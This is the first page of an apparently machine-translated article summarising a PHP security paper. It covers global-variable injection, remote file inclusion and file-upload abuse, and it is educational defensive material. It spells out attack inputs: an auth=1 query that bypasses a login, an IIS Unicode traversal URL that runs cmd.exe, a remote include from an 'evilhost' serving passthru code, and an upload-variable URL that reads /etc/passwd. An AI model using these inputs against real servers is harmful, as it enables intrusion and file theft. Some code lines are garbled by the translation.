This article is translated because the current articles on CGI security are all examples of Perl, and there are few articles specifically about asp,php or JSP security. Shaun Clowes's article is a comprehensive introduction to PHP security issues, the original text can be found in http://www.securereality.com.au/studyinscarlet.txt.
Because the original text is relatively long, and a considerable part of the background of the introduction of the article or PHP, not related to the content of PHP security, so I have no translation. If you want to know this knowledge, please refer to the original.
This article mainly from the global variables, remote files, file upload, library files, session files, data types and error-prone functions of several aspects of the security analysis of PHP, and how to enhance the security of PHP put forward some useful suggestions.
Okay, cut the crap, let's talk!
[Global variables]
Variables in PHP do not need to be declared in advance, they are created automatically the first time they are used, and their types do not need to be specified, and they are determined automatically according to the context environment. From a programmer's point of view, this is an extremely convenient way of handling. Obviously, this is also a very useful feature of the rapid development of languages. Once a variable is created, it can be used anywhere in the program. The result of this feature is that programmers rarely initialize variables, after all, when they are first created, they are empty.
Obviously, the main function of a PHP based application is generally to accept user input (mainly form variables, upload files and cookies, etc.), then process the input data and return the results to the client browser. In order for the PHP code to access the user's input as easily as possible, PHP is actually treating these input data as a global variable.
For example:
<form method= "Get" action= "test.php" >
<input type= "TEXT" name= "Hello" >
<input type= "SUBMIT" >
</FORM>
Obviously, this will display a text box and a Submit button. When the user clicks the Submit button, "test.php" handles the user's input, and when "test.php" runs, "$hello" contains the data that the user entered in the text box. From here we should see that attackers can create arbitrary global variables as they wish. If the attacker does not call "test.php" through form input, but instead enters Http://server/test.php?hello=hi&setup=no directly in the browser address bar, then more than just "$hello" is created, "$setup "has also been created.
The two methods are what we usually call "POST" and "get" methods.
The following user authentication code exposes the security problems caused by the global variables of PHP:
<?php
if ($pass = = "Hello")
$auth = 1;
...
if ($auth = = 1)
echo "Some important information";
?>
The above code first checks whether the user's password is "Hello", if match, set "$auth" to "1", that is, through authentication. Then, if "$suth" is "1", some important information will be displayed.
The surface appears to be correct, and quite a few of us do this, but this code makes the mistake of taking it for granted that "$auth" is empty without setting a value, but it is not thought that an attacker could create any global variable and assign it through a similar "http://server/ Test.php?auth=1 "method, we can completely cheat this code, make it believe that we have been authenticated.
Therefore, in order to improve the security of PHP programs, we cannot trust any variables that are not explicitly defined. If there are many variables in the program, this is a very difficult task.
A common protection is to check the variables in the array http_get[] or post_vars[], depending on the way we commit (get or post). When PHP is configured to open the "track_vars" option (which is the default), the user-submitted variables can be obtained in the global variable and in the array mentioned above.
But it's worth noting that PHP has four different array variables to handle user input. The Http_get_vars array is used to handle the variables submitted by the Get method, the Http_post_vars array is used to handle the variables submitted by POST, and the Http_cookie_vars array is used to process variables submitted as COOKIE headers, and for HTTP_ The post_files array, which is provided by the newer PHP, is entirely an alternative way for users to submit variables. A user request can easily put variables in these four arrays, so a secure PHP program should check these four arrays.
[Remote Files]
PHP is a rich language and provides a number of functions that make it easy for programmers to implement a feature. But from a security standpoint, the more features, the harder it is to secure it, and the remote file is a good example of the problem:
<?php
if (!) ( $FD = fopen ("$filename", "R"))
Echo ("Could not open file: $filename <BR>");
?>
The above script attempts to open the file "$filename" and displays an error message if it fails. Obviously, if we can specify "$filename", we can use this script to browse any file in the system. However, there is a less obvious feature of this script, which is that it can read files from any other Web or FTP site. In fact, most of the file processing functions of PHP are transparent to the processing of remote files.
For example:
If you specify "$filename" as "Http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir"
The above code actually executes the dir command using a Unicode vulnerability on host target.
This enables the include (), require (), include_once () and require_once () of remote files to become more interesting in the context. These functions are primarily used to contain the contents of the specified file and to interpret them in the PHP code, mainly on the library file.
For example:
<?php
Include ($libdir. "/languages.php");
?>
In the example above, "$libdir" is typically a path that has been set before the code is executed, and if an attacker can make "$libdir" not set, then he can change the path. But attackers cannot do anything because they can only access file languages.php in the path they specify (the "Poison null byte" attack in Perl has no effect on PHP). But with support for remote files, an attacker can do anything. For example, an attacker could place a file languages.php on a server containing the following:
<?php
PassThru ("/bin/ls/etc");
?>
The "$libdir" is then set to "http://<evilhost>/" so that we can execute the above attack code on the target host, and the contents of the "/etc" directory are returned to the customer's browser as a result.
It should be noted that the attack server (i.e. Evilhost) should not be able to execute PHP code, otherwise the attack code will be on the attack server, rather than the target server to execute, if you want to know the specific technical details, please refer to: http:// Www.securereality.com.au/sradv00006.txt
[File Upload]
PHP automatically supports file uploads based on RFC 1867, let's look at the following example:
<form method= "POST" enctype= "Multipart/form-data" >
<input type= "FILE" name= "Hello" >
<input type= "HIDDEN" name= "max_file_size" value= "10240" >
<input type= "SUBMIT" >
</FORM>
The above code allows the user to select a file from the local machine, and the file is uploaded to the server when the submission is clicked. This is obviously a useful feature, but the way PHP responds makes this feature unsafe. When PHP first receives this request, and even before it starts parsing the invoked PHP code, it accepts the remote user's file, checking whether the file is longer than the value defined by the "$MAX _file_size variable", if you pass these tests, The file will be present in a local temporary directory.
As a result, an attacker could send arbitrary files to the host running PHP, and the file was already on the server when the PHP program had not yet decided whether to accept the file upload.
Here I will not discuss the possibility of using file uploads to Dos attacks on a server.
Let's consider the PHP program that handles file uploads, as we said above, the files are received and exist on the server (the location is specified in the configuration file, generally/tmp), and the extension is generally random, similar to the "Phpxxuoxg" form. The PHP program needs to upload information about the file to handle it, which can be done in two ways, one in PHP 3, and one in the security bulletin we put in the previous method.
However, we can say for sure that the problem still exists, most PHP programs still use the old way to process uploaded files. PHP set up four global variables to describe the uploaded file, such as the above example:
$hello = Filename on the local machine (e.g "/TMP/PHPXXUOXG")
$hello _size = size in bytes of file (e.g 1024)
$hello _name = The original name of the file on the remote system (e.g "C:emphello.txt")
$hello _type = Mime type of uploaded file (e.g "Text/plain")
Then the PHP program starts processing the file specified according to "$hello", the problem is that "$hello" is not necessarily a variable of PHP settings, and any remote user can specify it. If we use the following method:
Http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name= Hello.txt
leads to the following PHP global variable (and, of course, the post can be (or even a cookie)):
$hello = "/etc/passwd"
$hello _size = 10240
$hello _type = "Text/plain"
$hello _name = "Hello.txt"
The form data above satisfies the variables expected by the PHP program, but when the PHP program no longer processes the uploaded file, it handles the "/etc/passwd" (which usually results in content exposure). This attack can be used to expose the contents of any sensitive file.
As I said earlier, the new version of PHP uses http_post_files[to decide which files to upload, as well as a number of functions to solve the problem, such as having a function to determine whether a file is actually contained in a file. These functions are a good solution to this problem, but there are certainly a lot of PHP programs that still use the old method and are vulnerable to this attack.
As a variant of the attack method for file uploads, let's take a look at the following code:
<?php
if (file_exists ($theme))//Checks the file exists on the local system (no remote files)
Include ("$theme");
?>
If an attacker can control "$theme", it is clear that it can use "$theme" to read any file on the remote system. The attacker's ultimate goal was to execute arbitrary instructions on the remote server, but he was unable to use the remote file, so he had to create a PHP file on the remote server. At first glance it seemed impossible, but the file upload helped us with this, if the attacker first created a file containing PHP code on the local machine, then created a form containing a file field named "Theme," and ended up using the form to submit the created file containing the PHP code through the file upload To the code above, PHP saves the file the attacker submitted and sets the value of "$theme" to the attacker's file, so the file_exists () function checks through and the attacker's code executes.
With the ability to execute arbitrary instructions, the attacker apparently wanted to elevate permissions or gain more, which required some toolset not available on the server, and file uploads helped us again. Attackers can upload tools using the File upload feature, put them on the server, and then take advantage of their ability to execute instructions, use chmod () to change file permissions, and then execute. For example, an attacker could upload a local root attack program bypassing a firewall or IDs, and then execute it, thus obtaining root privileges.
Current 1/2 page
12 Next read the full text
